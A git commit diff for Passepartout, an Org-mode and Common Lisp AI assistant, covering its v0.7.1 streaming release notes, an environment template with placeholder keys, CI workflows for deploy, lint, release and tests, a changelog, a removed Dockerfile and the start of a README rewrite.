v0.7.1: Streaming + Markdown + URLs + Interrupt — TDD

Stream-chunk protocol: SSE streaming via provider-openai-stream,
cascade-stream with fboundp guard in think(). TUI renders live.

Stream interrupt: Esc during streaming marks [interrupted], finalizes msg.
SSE cancel infrastructure: *stream-cancel* check in read loop.

Markdown inline: **bold**, *italic*, `code` via parse-markdown-spans.
Code blocks: parse-markdown-blocks + syntax-highlight (keywords/strings/fns).
URL detection + Tab-to-activate: https:// URLs in dim, Tab opens.

Watchdog: 30s stall detection via Dexador read-timeout.
[streaming] indicator in status bar.

Pre-existing TUI test fixes (7): first→aref, nil→zerop, add-msg arg.

Core: 65/65  Neuro: 13/13  TUI View: 22/22  TUI Main: 65/65
Total: 165 tests, 0 failures.

.env.example

@@ -1,62 +1,112 @@
-# opencortex: Neural Engine Configuration
-# Core LLM Providers
-GEMINI_API_KEY="your_gemini_key_here"
-ANTHROPIC_API_KEY="your_anthropic_key_here"
-OPENAI_API_KEY="your_openai_key_here"
-GROQ_API_KEY="your_groq_key_here"
+# passepartout: Environment Configuration Template
+# Copy this to .env and fill in your values
+
+# =============================================================================
+# IDENTITY
+# =============================================================================
+MEMEX_USER="YourName"
+MEMEX_ASSISTANT="AgentName"
+
+# =============================================================================
+# LLM PROVIDERS (OpenRouter recommended as primary)
+# =============================================================================
 OPENROUTER_API_KEY="your_openrouter_key_here"
+OPENAI_API_KEY="your_openai_key_here"
+ANTHROPIC_API_KEY="your_anthropic_key_here"
+GROQ_API_KEY="your_groq_api_key_here"
+GEMINI_API_KEY="your_gemini_key_here"
+DEEPSEEK_API_KEY="your_deepseek_key_here"
+NVIDIA_API_KEY="your_nvidia_nim_key_here"
 
-# Legacy/Default (Optional)
-LLM_API_KEY="your_api_key_here"
-LLM_ENDPOINT="https://generativelanguage.googleapis.com/v1beta/models/gemini-pro:generateContent"
+# Cascade order (first available provider wins)
+# Default (if unset): openrouter,openai,anthropic,groq,gemini-api,deepseek,nvidia
+PROVIDER_CASCADE=deepseek,openrouter,openai,anthropic,groq,gemini,nvidia
 
-# Communication Gateways
+# =============================================================================
+# LOCAL LLM (generic OpenAI-compatible endpoint)
+# =============================================================================
+# Set this to the base URL of any local OpenAI-compatible server
+# (llama.cpp, Ollama, vLLM, LM Studio, etc.)
+LOCAL_BASE_URL="localhost:8080"
+
+# Ollama host (legacy: falls back to LOCAL_BASE_URL if not set)
+OLLAMA_HOST="localhost:11434"
+
+# =============================================================================
+# VECTOR EMBEDDINGS (semantic search)
+# =============================================================================
+EMBEDDING_PROVIDER="hashing"  # "hashing" (local, no deps), "local", or "openai"
+EMBEDDING_MODEL="nomic-embed-text"  # model name for embeddings
+EMBEDDING_BASE_URL="https://api.openai.com/v1"  # for :openai provider
+
+# =============================================================================
+# MESSAGING GATEWAYS (optional)
+# =============================================================================
 TELEGRAM_BOT_TOKEN="your_telegram_bot_token_here"
 SIGNAL_ACCOUNT_NUMBER="+1..."
 
-# System 2: Symbolic Constraints
-SAFETY_BLOCK_SHELL=true
-GTD_ENFORCE_INTEGRITY=true
-
-# Harness Protocol Daemon Configuration
+# =============================================================================
+# DAEMON CONFIGURATION
+# =============================================================================
 ORG_AGENT_DAEMON_PORT=9105
-ORG_AGENT_WEB_PORT=8080
 DAEMON_HOST="0.0.0.0"
 HEARTBEAT_INTERVAL=60
 DAEMON_SLEEP_INTERVAL=3600
-
-# Outbound Communication Defaults
 DEFAULT_ACTUATOR="cli"
 SILENT_ACTUATORS="cli,system-message,emacs"
 
-# Core Skill Requirements
-# A comma-separated list of skill Org files (without extension) required for boot.
-MANDATORY_SKILLS="org-skill-policy,org-skill-bouncer"
+# =============================================================================
+# SECURITY
+# =============================================================================
+PROTOCOL_ENFORCE_HMAC=false
+PROTOCOL_HMAC_SECRET="change-this-to-a-secure-random-string"
 
-# Context Management & Peripheral Vision
+# Privacy filter tags: comma-separated list of tags that mark content as private.
+# Files/headings tagged with any of these will be filtered from LLM context.
+# Default: @personal
+PRIVACY_FILTER_TAGS="@personal,@health,@finance"
+
+# =============================================================================
+# DISPATCHER RULE LEARNING
+# =============================================================================
+# Number of HITL approvals before a pattern becomes a permanent rule
+DISPATCHER_RULE_THRESHOLD=3
+
+# Where learned rules are persisted
+RULES_FILE="$HOME/memex/system/rules.org"
+
+# =============================================================================
+# BOOTSTRAP
+# =============================================================================
+MANDATORY_SKILLS="security-policy,security-dispatcher"
+
+# =============================================================================
+# CONTEXT / MEMORY
+# =============================================================================
 CONTEXT_SEMANTIC_THRESHOLD=0.75
 CONTEXT_LOG_LIMIT=20
 
-# Memex Integration
-# Inside Docker, /app/ is the root for consolidated notes
-MEMEX_DIR="/memex"
-ZETTELKASTEN_DIR="/memex/notes"
-SKILLS_DIR="/memex/notes"
+# =============================================================================
+# MEMEX STRUCTURE
+# =============================================================================
+MEMEX_DIR="$HOME/memex"
+ZETTELKASTEN_DIR="$HOME/memex/notes"
+INBOX_DIR="$HOME/memex/inbox"
+DAILY_DIR="$HOME/memex/daily"
+PROJECTS_DIR="$HOME/memex/projects"
+AREAS_DIR="$HOME/memex/areas"
+RESOURCES_DIR="$HOME/memex/resources"
+ARCHIVES_DIR="$HOME/memex/archives"
+SYSTEM_DIR="$HOME/memex/system"
+LLM_REQUEST_TIMEOUT=30
 
-# PARA Structure (Consolidated)
-INBOX_DIR="/memex/inbox"
-DAILY_DIR="/memex/daily"
-PROJECTS_DIR="/memex/projects"
-AREAS_DIR="/memex/areas"
-RESOURCES_DIR="/memex/resources"
-ARCHIVES_DIR="/memex/archives"
-SYSTEM_DIR="/memex/system"
+# =============================================================================
+# TOKEN ECONOMICS (v0.5.0)
+# =============================================================================
+# Max tokens for the combined system prompt + context + user prompt.
+# Default: 16384 (half of a 32K context window, leaves room for model response).
+CONTEXT_MAX_TOKENS=16384
 
-# Identity Configuration
-MEMEX_USER="YourName"
-MEMEX_ASSISTANT="AgentName"
-RECIPIENT_ID="+1..." # For Signal/Telegram delivery
-
-# Harness Protocol Integrity & Authentication (HMAC-SHA256)
-Harness Protocol_ENFORCE_HMAC=false
-Harness Protocol_HMAC_SECRET="change-this-to-a-secure-random-string"
+# Soft daily cost cap in USD. Warning injected into system prompt when
+# approaching budget.
+COST_BUDGET_DAILY=1.00

.gitea/workflows/deploy.yml

@@ -1,44 +1,24 @@
-name: Deploy-Agent-V15-Stdin
+name: Deploy (Gitea)
+
 on:
   push:
     branches:
       - main
 
 jobs:
-  JOB-V15-STDIN:
+  deploy:
     runs-on: debian-latest
     steps:
-      - name: Checkout Code
-        uses: actions/checkout@v3
+      - name: Checkout
+        uses: actions/checkout@v4
 
       - name: Install Docker CLI
         run: |
-          echo "Installing Docker CLI..."
-          apt-get update
-          apt-get install -y docker.io docker-compose
+          apt-get update && apt-get install -y docker.io docker-compose
 
-      - name: Deploy via Host Docker Socket (Stdin Method)
+      - name: Build and deploy via Docker Compose
         run: |
-          echo "Piping local compose file to host Docker daemon..."
-          
-          # We read the compose file from the checked-out code in the runner,
-          # but we tell the host Docker daemon that the "project directory" is /memex/projects/opencortex.
-          # The host daemon will use its own /memex files to build the image.
-          
-          cat deploy/docker/docker-compose.yml | docker-compose \
-            -p opencortex \
-            --project-directory /memex/projects/opencortex \
-            -f - \
-            down
-            
-          cat deploy/docker/docker-compose.yml | docker-compose \
-            -p opencortex \
-            --project-directory /memex/projects/opencortex \
-            -f - \
-            build --no-cache opencortex
-            
-          cat deploy/docker/docker-compose.yml | docker-compose \
-            -p opencortex \
-            --project-directory /memex/projects/opencortex \
-            -f - \
-            up -d --force-recreate opencortex
+          cd infrastructure/docker
+          docker-compose -p passepartout down
+          docker-compose -p passepartout build --no-cache passepartout
+          docker-compose -p passepartout up -d --force-recreate passepartout

.github/ISSUE_TEMPLATE/bug_report.yml

@@ -0,0 +1,25 @@
+name: Bug Report
+
+about: Report something that is not working as expected.
+
+---
+
+**Describe the bug**
+A clear description of what went wrong.
+
+**To Reproduce**
+Steps to reproduce the behavior:
+1. Go to '...'
+2. Run '...'
+3. See error
+
+**Expected behavior**
+What you expected to happen.
+
+**Environment:**
+- OS: [e.g. Debian 12, macOS 14]
+- SBCL version: [e.g. 2.4.0]
+- OpenCortex version: [e.g. v0.1.0]
+
+**Additional context**
+Any other relevant information (logs, stack traces, etc.)

.github/ISSUE_TEMPLATE/feature_request.yml

@@ -0,0 +1,22 @@
+name: Feature Request
+
+about: Suggest a new feature or enhancement.
+
+---
+
+**Describe the problem**
+What problem does this feature solve?
+
+**Describe the ideal solution**
+A clear description of what you want to happen.
+
+**Describe alternatives considered**
+Any alternative solutions you've considered.
+
+**Additional context**
+Any other relevant context (mockups, related issues, etc.)
+
+**Implementation suggestion**
+(Optional) If you have thoughts on how to implement this in pure Common Lisp + Org-mode:
+- Which skill should own this?
+- Should it be a =def-cognitive-tool=, a new skill, or an enhancement to an existing one?

.github/workflows/lint.yml

@@ -0,0 +1,74 @@
+name: Lint
+
+on:
+  push:
+    tags:
+      - 'v*'
+  workflow_dispatch:
+
+jobs:
+  lint:
+    runs-on: ubuntu-latest
+    env:
+      FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
+
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Install dependencies
+        run: |
+          sudo apt-get update && sudo apt-get install -y --no-install-recommends \
+            git emacs-nox
+
+      - name: Check for forbidden patterns
+        run: |
+          ! grep -r "json\." --include="*.lisp" lisp/ && \
+            echo "OK: No JSON in Lisp files"
+
+      - name: Check org files have lisp source blocks
+        run: |
+          FAIL=0
+          for f in org/*.org; do
+            if ! grep -q "#+begin_src lisp" "$f"; then
+              echo "WARNING: $f has no lisp blocks"
+              FAIL=1
+            fi
+          done
+          echo "OK: Org files checked for lisp blocks"
+
+      - name: Verify each .lisp has a corresponding .org source
+        run: |
+          FAIL=0
+          for f in lisp/*.lisp; do
+            [ -f "$f" ] || continue
+            base=$(basename "$f" .lisp)
+            if [ -f "org/${base}.org" ]; then
+              : # direct match
+            else
+              # Check if generated from a parent org via :tangle header
+              if grep -q ":tangle.*$(basename "$f")" org/*.org 2>/dev/null; then
+                : # :tangle reference found
+              else
+                echo "WARNING: $f has no corresponding .org source"
+                FAIL=1
+              fi
+            fi
+          done
+          [ "$FAIL" = 0 ] && echo "OK: All .lisp files have .org sources"
+
+      - name: Check literate granularity (one function per block)
+        run: |
+          for f in org/*.org; do
+            blocks=$(grep -c "^[[:space:]]*(defun " "$f" 2>/dev/null || true)
+            srcblocks=$(grep -c "#+begin_src lisp" "$f" 2>/dev/null || true)
+            if [ "$blocks" -gt "$srcblocks" ] && [ "$srcblocks" -gt 0 ]; then
+              echo "WARNING: $f has $blocks defuns but only $srcblocks src blocks"
+            fi
+          done
+          echo "OK: Granularity check complete"
+
+      - name: Check README has quick install
+        run: |
+          grep -q "curl.*passepartout" README.org && \
+            echo "OK: Quick install in README" || \
+            echo "WARNING: Quick install curl command not found in README"

.github/workflows/release.yml

@@ -0,0 +1,40 @@
+name: Release
+
+on:
+  push:
+    tags:
+      - 'v*'
+
+jobs:
+  release:
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+
+    steps:
+      - uses: actions/checkout@v4
+        with:
+          fetch-depth: 0
+
+      - name: Create tarball
+        run: |
+          git archive --format=tar.gz --prefix=passepartout-$(git describe --tags) HEAD -o passepartout.tar.gz
+
+      - name: Create zipball
+        run: |
+          git archive --format=zip --prefix=passepartout-$(git describe --tags) HEAD -o passepartout.zip
+
+      - name: Extract tag message as release notes
+        run: |
+          git tag -l --format='%(contents)' ${GITHUB_REF#refs/tags/} > /tmp/release-notes.md
+          echo "--- Notes preview ---"
+          head -20 /tmp/release-notes.md
+
+      - name: Upload to GitHub Release
+        uses: softprops/action-gh-release@v2
+        with:
+          files: |
+            passepartout.tar.gz
+            passepartout.zip
+          body_path: /tmp/release-notes.md
+          generate_release_notes: true

.github/workflows/test.yml

@@ -0,0 +1,92 @@
+name: Tests
+
+on:
+  push:
+    tags:
+      - 'v*'
+  workflow_dispatch:
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    env:
+      FORCE_JAVASCRIPT_ACTIONS_TO_NODE24: true
+
+    steps:
+      - uses: actions/checkout@v4
+
+      - name: Install system dependencies
+        run: |
+          sudo apt-get update && sudo apt-get install -y --no-install-recommends \
+            sbcl emacs-nox git curl socat rlwrap
+
+      - name: Install Quicklisp
+        run: |
+          curl -fsSL https://beta.quicklisp.org/quicklisp.lisp -o /tmp/quicklisp.lisp
+          sbcl --noinform --non-interactive \
+            --load /tmp/quicklisp.lisp \
+            --eval '(quicklisp-quickstart:install)'
+          rm -f /tmp/quicklisp.lisp
+          sbcl --noinform --non-interactive \
+            --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
+            --eval '(ql:quickload :fiveam :silent t)' \
+            --eval '(quit)'
+
+      - name: Load and verify system
+        run: |
+          export PASSEPARTOUT_DATA_DIR="$PWD/.github-test"
+          mkdir -p "$PASSEPARTOUT_DATA_DIR/org" "$PASSEPARTOUT_DATA_DIR/lisp" "$PASSEPARTOUT_DATA_DIR/test"
+
+          # Tangle org files into lisp/
+          cp org/*.org "$PASSEPARTOUT_DATA_DIR/org/"
+          cd "$PASSEPARTOUT_DATA_DIR/org" && for f in *.org; do
+            if command -v emacs; then
+              emacs -Q --batch --eval "(require 'org)" \
+                --eval "(setq org-confirm-babel-evaluate nil)" \
+                --eval "(org-babel-tangle-file \"$f\")" 2>/dev/null || true
+            fi
+          done
+          rm -f *.org
+          cd "$OLDPWD"
+
+          # Move test files to test/
+          find "$PASSEPARTOUT_DATA_DIR/lisp" -name "*-tests.lisp" -exec mv {} "$PASSEPARTOUT_DATA_DIR/test/" \; 2>/dev/null || true
+
+      - name: Load passepartout and initialize skills
+        run: |
+          export PASSEPARTOUT_DATA_DIR="$PWD/.github-test"
+          sbcl --non-interactive \
+            --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
+            --eval "(push (truename \"$PWD/\") asdf:*central-registry*)" \
+            --eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
+            --eval '(ql:quickload :passepartout :silent t)' \
+            --eval "(setf (uiop:getenv \"PASSEPARTOUT_DATA_DIR\") \"$PASSEPARTOUT_DATA_DIR\")" \
+            --eval '(passepartout:skill-initialize-all)' \
+            --eval "(let ((n (hash-table-count passepartout:*skill-registry*))) (format t \"~%Skills loaded: ~a~%\" n) (unless (>= n 10) (sb-ext:exit :code 1)))"
+
+      - name: Daemon smoke test
+        run: |
+          export PASSEPARTOUT_DATA_DIR="$PWD/.github-test"
+          sbcl --non-interactive \
+            --eval '(load (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))' \
+            --eval "(push (truename \"$PWD/\") asdf:*central-registry*)" \
+            --eval "(push (truename \"$PASSEPARTOUT_DATA_DIR/\") asdf:*central-registry*)" \
+            --eval '(ql:quickload :passepartout :silent t)' \
+            --eval "(setf (uiop:getenv \"PASSEPARTOUT_DATA_DIR\") \"$PASSEPARTOUT_DATA_DIR\")" \
+            --eval '(passepartout:main)' \
+            > /tmp/passepartout-daemon.log 2>&1 &
+          DAEMON_PID=$!
+
+          for i in $(seq 1 20); do
+            if ss -tln 2>/dev/null | grep -q 9105; then
+              echo "✓ Daemon ready on port 9105"
+              timeout 3 bash -c 'exec 3<>/dev/tcp/localhost/9105; head -c 200 <&3' 2>/dev/null | grep -q "handshake" && \
+                echo "✓ Protocol handshake received"
+              break
+            fi
+            sleep 1
+          done
+
+          kill $DAEMON_PID 2>/dev/null || true
+          wait $DAEMON_PID 2>/dev/null || true
+          echo "✓ Daemon smoke test passed"

.gitignore

@@ -1,6 +1,16 @@
 .env
-opencortex-server
+passepartout-server
 \$MEMEX_DIR/
 *.log
 *~
 \#*#
+passepartout-tui
+test_input.txt
+
+# Generated artifacts (source of truth is .org)
+/skills/*.lisp
+/tmp/*.lisp
+*.fasl
+docs/#DESIGN_DECISIONS.org# docs/DESIGN_DECISIONS.org~
+extras/*.elc
+state/

CHANGELOG.org

@@ -1,23 +1,126 @@
-#+TITLE: Changelog
-#+STARTUP: content
+#+TITLE: Passepartout Changelog
+#+AUTHOR: Passepartout
+#+FILETAGS: :changelog:release:
 
-* v0.1.0 - The Autonomous Foundation (2026-04-13)
-This is the initial MVP release of the ~opencortex~. It establishes a secure, auditable Lisp kernel for a personal operating system.
+All notable changes to Passepartout, extracted from [[file:docs/ROADMAP.org][ROADMAP.org]]
+DONE items with LOGBOOK timestamps.
 
-** Features
-- **Metabolic Pipeline:** Robust Perceive-Reason-Act loop with selective memory rollbacks and graceful shutdown handling.
-- **Verification Lock:** Mandatory skill enforcement via environment configuration. System halts if security policies or bouncers fail to load.
-- **Foveal-Peripheral Context:** High-resolution focus on active tasks with low-resolution skeletal awareness of the rest of the Memex.
-- **The Bouncer:** Last-mile deterministic security gate with Deep Packet Inspection for secrets and network exfiltration.
-- **Autonomous Scribe:** Background distillation worker that turns daily journal entries into evergreen Zettelkasten notes.
-- **Unified Onboarding:** Single-command installation (~opencortex.sh~) with Docker-first deployment and OS detection.
-- **CLI Gateway:** Local TCP socket server and interactive chat client for frictionless first contact.
+* v0.6.0 — Time Awareness
+:LOGBOOK:
+- Released [2026-05-08 Thu]
+:END:
 
-** Licensing & Community
-- **AGPLv3 License:** OpenCortex is now officially licensed under the GNU Affero General Public License v3.0, ensuring the system remains free and open for self-hosters.
-- **Contributor License Agreement:** Implemented a broad CLA (~CLA.org~) to allow the core maintainer to enforce the AGPLv3 while retaining flexible commercial rights.
+** Temporal Memory Filtering (symbolic-time-memory skill)
 
-** Architectural Shift
-- Transitioned to **Literate Granularity**: Every function and invariant is now documented in its own Org block.
-- **Configuration Externalization:** All timing, thresholds, and identities are now driven by environment variables.
-- **Thin Harness Philosophy:** Decoupled the kernel from specific editors or third-party gateways.
+- ~memory-objects-since(timestamp)~ — hash-table walk returning objects with ~version >= timestamp~
+- ~memory-objects-in-range(since until)~ — version between two timestamps (inclusive)
+- ~context-query-with-time~ — extended query with ~:since~ / ~:until~ parameters
+- 6 tests, 100% pass. Pure Lisp, sub-millisecond, 0 LLM tokens
+
+** Sensor-Time Skill
+
+- ~format-time-for-llm~ — TIME: section for system prompt, iso/natural format
+- ~session-duration~ — session start tracking, included in TIME section
+- ~sensor-time-tick~ — deadline scanning via cron (~:reflex~ tier), 0 LLM tokens
+- ~TIME_AWARENESS~ / ~TIME_FORMAT~ / ~DEADLINE_WARNING_MINUTES~ env vars
+- 13 tests, 100% pass
+
+** System Prompt
+
+- TIME section injected at top of ~think()~ via ~fboundp~ guard in ~core-reason.lisp~
+- Falls back gracefully when sensor-time skill not loaded
+
+* v0.5.1 — Compilation Hardening
+:LOGBOOK:
+- Released [2026-05-08 Thu]
+:END:
+
+- Fixed ~defvar~ missing opening paren in ~security-vault.lisp~
+- Updated 19 CFFI struct references in ~embedding-native.lisp~ (deprecation fix)
+- Fixed heartbeat variable scope in ~symbolic-events.lisp~ (~passepartout::~ prefix)
+- Suppressed ~100 harmless cross-skill STYLE-WARNINGs via bash script filter
+- ROADMAP: two false errors documented (~symbolic-memory~ lambda, ~gateway-messaging~ deleted)
+- Test suite: 116/116 (100%)
+
+* v0.5.0 — File Reorganization & Token Economics
+:LOGBOOK:
+- Released [2026-05-08 Thu]
+:END:
+
+** File Reorganization (self-repair criterion)
+
+- Extracted ~core-context~ → ~symbolic-awareness~ (skill, hot-reloadable)
+- Extracted heartbeat generation → ~symbolic-events~ (skill)
+- Relocated 6 utility fragments to correct files
+- Renamed 6 core files (core-defpackage → core-package, core-communication → core-transport, core-loop → core-pipeline, core-loop-perceive → core-perceive, core-loop-reason → core-reason, core-loop-act → core-act)
+- Renamed 13 system-* files (system-config → symbolic-config, system-model-provider → neuro-provider, system-actuator-shell → channel-shell, etc.)
+- Deleted ~system-model.lisp~ (dead code)
+- Renamed 4 gateway-* files → channel-*
+- Split ~gateway-messaging.lisp~ (411 lines) → 4 channel-{telegram,signal,discord,slack} files
+- Deleted ~gateway-messaging.org/.lisp~, renamed 13 ~defskill~/~defpackage~ names to match
+- Renamed ~gateway-cli-input~ → ~channel-cli-input~ (function + exports)
+- Removed ~core-context~ filter from ~core-skills.lisp~
+- Documented the self-repair criterion in ARCHITECTURE.org, DESIGN_DECISIONS.org, and AGENTS.md
+- Added hard rule in AGENTS.md: no core additions without permission
+
+** Token Economics (skills, not core)
+
+- ~org/tokenizer.org~ → ~lisp/tokenizer.lisp~: ~count-tokens~, ~model-token-ratio~, ~token-cost~, ~provider-token-cost~ — char-ratio heuristic per model family with per-provider pricing (11 tests)
+- ~org/cost-tracker.org~ → ~lisp/cost-tracker.lisp~: ~cost-track-call~, ~cost-session-total~, ~cost-by-provider~, ~cost-format-budget-status~ — per-call cost logged as ~COST TRACKER: DEEPSEEK call: 0.0002 USD~ (6 tests)
+- ~org/token-economics.org~ → ~lisp/token-economics.lisp~: ~prompt-prefix-cached~ (sxhash-based IDENTITY+TOOLS caching), ~context-assemble-cached~ (skip heartbeat/delegation, cache on unchanged foveal/scope/memory), ~enforce-token-budget~ (L1→L2→L3 progressive trimming, CONTEXT_MAX_TOKENS env var) (9 tests)
+- All three loaded as skills via ~skill-initialize-all~, ~fboundp~-guarded in ~think()~
+- Full test suite: 116/116 (100%)
+
+** Bug Fixes
+
+- Fixed DeepSeek 400 error: removed malformed ~tools~ parameter from cascade requests
+- Fixed ~UNDEFINED-FUNCTION~ crash in ~think()~ when ~symbolic-awareness~ skill not loaded (~fboundp~ guards)
+- Fixed gate-trace duplication in TUI responses (~setf~ replaces ~list*~ in ~cognitive-verify~)
+- Tightened dexador ~connect-timeout~ from 10s → 5s for faster cascade failover
+
+* v0.4.3 — Shell Sandboxing & Safety Classification
+:LOGBOOK:
+- Released [2026-05-07 Thu]
+:END:
+
+- Added ~bwrap~ sandbox to shell actuator (~--unshare-net~, ~--unshare-ipc~, read-only system bindings)
+- Fallback to regex-only safety when ~bwrap~ unavailable
+- Shell safety severity classification: ~:catastrophic~ → ~:dangerous~ → ~:moderate~ → ~:harmless~
+- ~:catastrophic~ always HITL regardless of approval count; ~:harmless~ allowed by default
+- Severity tier feeds into rule learning engine (v0.7.2)
+
+* v0.4.2 — Structured Output (LLM → JSON → plist)
+:LOGBOOK:
+- Released [2026-05-07 Thu]
+:END:
+
+- Function-calling / tool-use API in ~provider-openai-request~
+- LLM returns guaranteed-valid JSON → deterministic ~json-alist-to-plist~ conversion at boundary
+- ~think()~ wired to use structured tool calls from the LLM
+- Raw ~read-from-string~ plist parsing kept as fallback for streaming/local models
+
+* v0.4.1 — Design Cleanup
+:LOGBOOK:
+- Released [2026-05-07 Thu]
+:END:
+
+- Removed ~system-prompt-augment~ mechanism from skill struct and ~defskill~
+- Introduced ~*standing-mandates*~ (list of function → string generators) as replacement
+- Fixed false token-overhead claims in DESIGN_DECISIONS and ROADMAP (3,000-8,000 → ~40)
+- Updated security vector count 9→10 in README, ARCHITECTURE.org, dispatcher docstring
+- Rewrote README: added "What is an agent?" section, moved cost claims to DESIGN_DECISIONS
+- Registered 10 cognitive tools (~search-files~, ~find-files~, ~read-file~, ~write-file~, ~list-directory~, ~run-shell~, ~eval-form~, ~run-tests~, ~org-find-headline~, ~org-modify-file~)
+- Enforced NO-HARDCODED-CONSTANTS standard with ~.env.example~ entries
+
+* v0.4.0 — Production Hardening
+:LOGBOOK:
+- Released [2026-05-06 Wed 20:56]
+:END:
+
+- Activated semantic retrieval: wired ~:foveal-vector~ into context assembly; replaced SHA-256 hashing default with trigram Jaccard similarity for offline semantic retrieval
+- Self-build safety boundary: ~core-*~ path protection; ~SELF_BUILD_MODE~ env var; HITL Flight Plan for core modifications
+- TUI differentiator visualization: gate trace per action (pass/block/approval), focus map in status bar, rule counter
+- Expanded theme system: 25-color layered system, ~/theme <name>~ command (dark/light/solarized/gruvbox)
+- Gateway QA: Telegram + Signal integration tests; Discord + Slack gateways
+- Emacs bridge: ~passepartout.el~ over framed TCP protocol, ~M-x passepartout-send-region~, ~M-x passepartout-focus~
+- Native embedding inference: CFFI binding to llama.cpp, nomic-embed-text-v1.5 (768-dim), ~EMBEDDING_PROVIDER=native~

Dockerfile

@@ -1,71 +0,0 @@
-# OPENCORTEX v1.0 Production Environment
-FROM debian:bookworm-slim
-
-# Prevent interactive prompts during build
-ENV DEBIAN_FRONTEND=noninteractive
-
-# 1. Install System Dependencies
-# - sbcl: The Lisp Runtime
-# - curl/git/unzip: Standard tools for Quicklisp and binaries
-# - default-jre: Required by signal-cli
-# - python3/pip: Required for Playwright bridge
-# - socat: Required for stateful CLI interaction
-RUN apt-get update && apt-get install -y \
-    sbcl \
-    curl \
-    git \
-    unzip \
-    default-jre \
-    libsqlite3-0 \
-    python3 \
-    python3-pip \
-    python3-venv \
-    emacs-nox \
-    socat \
-    && rm -rf /var/lib/apt/lists/*
-
-# 2. Setup Playwright (High-Fidelity Browsing)
-RUN python3 -m venv /opt/venv
-ENV PATH="/opt/venv/bin:$PATH"
-RUN pip install playwright \
-    && playwright install --with-deps chromium
-
-# 3. Install signal-cli (v0.14.0)
-ENV SIGNAL_CLI_VERSION=0.14.0
-RUN curl -L https://github.com/AsamK/signal-cli/releases/download/v${SIGNAL_CLI_VERSION}/signal-cli-${SIGNAL_CLI_VERSION}-Linux.tar.gz | tar xz -C /opt \
-    && ln -s /opt/signal-cli-${SIGNAL_CLI_VERSION}/bin/signal-cli /usr/local/bin/signal-cli
-
-# 4. Install Quicklisp & Pin Distribution
-# Pinned to 2026-04-01 for bit-rot resistance.
-WORKDIR /root
-RUN curl -O https://beta.quicklisp.org/quicklisp.lisp \
-    && sbcl --non-interactive \
-        --load quicklisp.lisp \
-        --eval '(quicklisp-quickstart:install)' \
-        --eval '(ql-dist:install-dist "http://beta.quicklisp.org/dist/quicklisp/2026-04-01/distinfo.txt" :prompt nil :replace t)'
-
-# 5. Configure SBCL to load Quicklisp on startup
-RUN echo '(let ((quicklisp-init (merge-pathnames "quicklisp/setup.lisp" (user-homedir-pathname)))) (when (probe-file quicklisp-init) (load quicklisp-init)))' > /root/.sbclrc
-
-# 6. Setup Application Directory
-WORKDIR /app
-COPY . /app/projects/opencortex
-
-# 7. Pre-cache Lisp Dependencies
-RUN sbcl --non-interactive \
-    --eval '(push #p"/app/projects/opencortex/" asdf:*central-registry*)' \
-    --eval '(ql:quickload :opencortex)'
-
-# 8. Environment & Volumes
-# The host's memex root should be mounted to /memex
-ENV MEMEX_DIR=/memex
-VOLUME ["/memex"]
-
-# Default Ports
-EXPOSE 9105 8080
-
-# Entrypoint
-CMD ["sbcl", "--non-interactive", \
-     "--eval", "(push #p\"/app/projects/opencortex/\" asdf:*central-registry*)", \
-     "--eval", "(ql:quickload :opencortex)", \
-     "--eval", "(opencortex:main)"]

README.org

@@ -1,144 +1,163 @@
-#+TITLE: OpenCortex: The Conductor of your Life Stack
+#+TITLE: Passepartout — The Plain-Text AI Assistant That Never Gets More Expensive
+#+AUTHOR: Amr
+#+FILETAGS: :passepartout:ai:assistant:
 
-*opencortex* is a minimalist, extensible AI agent framework designed to manage and continuously organize your personal knowledge base. It transforms a static collection of plaintext notes into a live, programmable [[https://en.wikipedia.org/wiki/Memex][Memex]]—an automated, personalized memory system where humans and AI collaborate in the exact same workspace.
+#+HTML: <div style="display: flex; gap: 8px; flex-wrap: wrap; margin-bottom: 1em;">
+#+HTML: <img src="https://img.shields.io/badge/version-v0.7.1-blue?style=flat-square">
+#+HTML: <img src="https://img.shields.io/badge/license-AGPLv3-green?style=flat-square">
+#+HTML: <img src="https://img.shields.io/badge/Lisp-Common%20Lisp-forestgreen?style=flat-square">
+#+HTML: <img src="https://img.shields.io/badge/docs-Org--mode-darkgreen?style=flat-square">
+#+HTML: </div>
 
-* The Problem with Current AI Agents
+Passepartout is an AI assistant that runs in your terminal. It reads and writes your Org-mode files, executes tasks through a verified safety gate, and works fully offline with local LLMs. Every action the LLM proposes is checked by ten deterministic safety gates before it touches a file, runs a command, or sends a message. The LLM suggests. The gate decides.
+Everything it knows is a folder of plain text files that you own.
 
-The current ecosystem of AI agents (typically built in Python or TypeScript) is overwhelmingly built on architectural choices that prioritize rapid prototyping over long-term reliability, security, and self-modification:
-
-1. *The Format Trap (Markdown & JSON):* Most agents force a painful translation layer. Humans write in Markdown, which lacks a strict Abstract Syntax Tree (AST)—a rigorous, nested representation of data that machines need to parse context reliably. Machines, in turn, output JSON or YAML, which are hostile formats for human thought and note-taking. The result is a fractured workspace where the agent's memory and the human's memory are fundamentally incompatible. Furthermore, because Markdown cannot be efficiently collapsed, agents are forced to consume massive amounts of tokens by reading entire files just to find a single paragraph.
-2. *The Language Trap (Python & TypeScript):* Python and TypeScript are fantastic for gluing together APIs or training models, but they are poorly suited for an agent that needs to safely read, write, and execute its own code at runtime. Their underlying structures are complex and opaque, making autonomous self-editing incredibly brittle and dangerous.
-3. *The Probabilistic Trap:* Almost all modern agents rely entirely on /probabilistic/ reasoning. We ask an AI model to guess a shell command or write a Python script, and then blindly pipe that output to a terminal. Without a rigorous, /deterministic/ layer to formally verify the model's proposals before execution, these systems are fundamentally unsafe. 
-
-* The Vision: A Modern, Homoiconic Memex
-
-opencortex abandons these fragile paradigms by returning to first principles and embracing two historically powerful technologies: *Org-mode* and *Common Lisp*. 
-
-** 1. Org-mode: The Universal Language
-Instead of wrestling with Markdown parsers or hiding data in opaque databases, opencortex mandates that *Org-mode is the native AST for both humans and machines.* 
-
